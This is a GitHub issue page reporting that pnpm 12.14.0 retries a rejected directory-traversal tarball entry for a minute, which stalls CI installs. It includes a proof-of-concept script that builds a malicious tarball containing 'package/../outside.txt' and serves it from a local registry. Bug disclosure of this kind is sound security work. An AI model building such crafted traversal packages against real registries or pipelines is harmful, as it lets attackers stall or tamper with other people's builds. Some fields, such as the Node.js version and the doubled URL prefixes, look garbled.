Skip to content

pnpm 12.14.0 retries a rejected tar-entry fetch for one minute, stalling CI installs #17205

Closed

Description

@vinzabe

Verify latest release

  • I verified that the issue exists in the latest pnpm release

pnpm version

12.14.0

Which area(s) of pnpm are affected? (leave empty if unsure)

Dependencies resolver

Link to the code that reproduces this issue or a replay of the bug

No response

Reproduction steps

#!/bin/bash
set -eu
W="${WORKDIR:-$(mktemp -d /tmp/pnpm-poc.XXXXXX)}"
trap 'rm -rf "$W"' EXIT INT TERM
mkdir -p "$W/registry" "$W/proj"
python3 - "$W" <<'PY2'
import sys, os, tarfile, io, json, hashlib, base64
w=sys.argv[1]
def mk(path, name, extra=None):
    with tarfile.open(path,'w:gz',format=tarfile.PAX_FORMAT) as tf:
        def add(n,d,m=0o644):
            ti=tarfile.TarInfo(n); ti.size=len(d); ti.mode=m; tf.addfile(ti,io.BytesIO(d))
        add('package/package.json', json.dumps({'name':name,'version':'1.0.0','main':'index.js'}).encode())
        add('package/index.js', b'module.exports=1;\n')
        if extra:
            add(extra[0], extra[1])
mk(os.path.join(w,'registry','pm-evil-1.0.0.tgz'),'pm-evil',('package/../outside.txt',b'OUTSIDE\n'))
mk(os.path.join(w,'registry','pm-good-1.0.0.tgz'),'pm-good')
def meta(name):
    p=os.path.join(w,'registry',name+'-1.0.0.tgz'); d=open(p,'rb').read()
    return {'_id':name,'name':name,'dist-tags':{'latest':'1.0.0'},'versions':{'1.0.0':{'name':name,'version':'1.0.0','main':'index.js','dist':{'tarball':'http://127.0.0.1:4874/'+name+'-1.0.0.tgz','shasum':hashlib.sha1(d).hexdigest(),'integrity':'sha512-'+base64.b64encode(hashlib.sha512(d).digest()).decode()}}}}
open(os.path.join(w,'registry','pm-evil'),'w').write(json.dumps(meta('pm-evil')))
open(os.path.join(w,'registry','pm-good'),'w').write(json.dumps(meta('pm-good')))
PY2
python3 -m http.server 4874 --bind 127.0.0.1 --directory "$W/registry" >/tmp/pnpm-poc-reg.log 2>&1 & REG=$!
trap 'kill $REG 2>/dev/null || true; rm -rf "$W"' EXIT INT TERM
sleep 1
curl -fsSL --max-time 120 https://registry.npmjs.org/@pnpm/exe.linux-x64/-/exe.linux-x64-12.14.0.tgz -o "$W/pnpm.tgz"
tar -xzf "$W/pnpm.tgz" -C "$W"
PNPM="$W/package/pnpm"; chmod +x "$PNPM"
cd "$W/proj"; printf '{"name":"p","version":"1.0.0"}\n' > package.json
echo "PNPM_VERSION=$($PNPM --version)"
echo "=== malicious install ==="
timeout 90 "$PNPM" add pm-evil --registry http://127.0.0.1:4874/ --ignore-scripts > /tmp/pnpm-poc-evil.log 2>&1 || echo "timeout-or-error=$?"
grep -E 'tar entry path rejected|Will retry' /tmp/pnpm-poc-evil.log | tail -6 || true
echo "=== benign control ==="
timeout 60 "$PNPM" add pm-good --registry http://127.0.0.1:4874/ --ignore-scripts > /tmp/pnpm-poc-good.log 2>&1
tail -4 /tmp/pnpm-poc-good.log
echo "IMPACT: the malicious tarball caused 10s and 1m retries and the install timed out at 90s"
echo "CONTROL: the benign tarball installed in milliseconds"

Run it from the archive root:

chmod +x poc.sh
./poc.sh

Describe the Bug

A local registry served pm-evil-1.0.0.tgz containing package/../outside.txt. pnpm 12.14.0 logged "tar entry path rejected (non-normal component, possible directory traversal)" and "Will retry in 10s" then "Will retry in 1m"; the install timed out at 90 seconds. The benign pm-good tarball installed in 43 ms. The retry is a non-transient error being retried; the package author controls the tarball, so a dependency can stall CI. This is an availability issue, not code execution. Suggested fix: treat a deterministic tar-path rejection as fatal and do not retry it.

Expected Behavior

A malicious or malformed package can delay or stall CI installs by at least a minute per attempt, consuming runner time and potentially blocking pipelines. Low/Medium availability impact; no confidentiality or integrity effect.

Which Node.js version are you using?

12.14.0

Which operating systems have you used?

  • macOS
  • Windows
  • Linux

If your OS is a Linux based, which one it is? (Include the version if relevant)

No response

Contributing a fix

  • I am working on a fix

Activity

  1. added theissue type on Oct 21, 2026
  2. vinzabe commented on Oct 21, 2026

    @vinzabe
    Author
  3. vinzabe commented on Oct 21, 2026

    @vinzabe
    Author

    closing this one and moving this to security advisory.

  4. zkochan commented on Oct 21, 2026

    @zkochan
    Member

    i really don't understand why this needs to be treated as a vulnerability. we can look into it but this is such a low severity issue

  5. zkochan commented on Oct 21, 2026

    @zkochan
    Member

    Opened a PR to fix this: #17212

    Generated with Antigravity (Gemini 4 Argon)

  6. added a commit that references this issue on Oct 21, 2026
    3ce74f1
  7. added a commit that references this issue on Nov 3, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions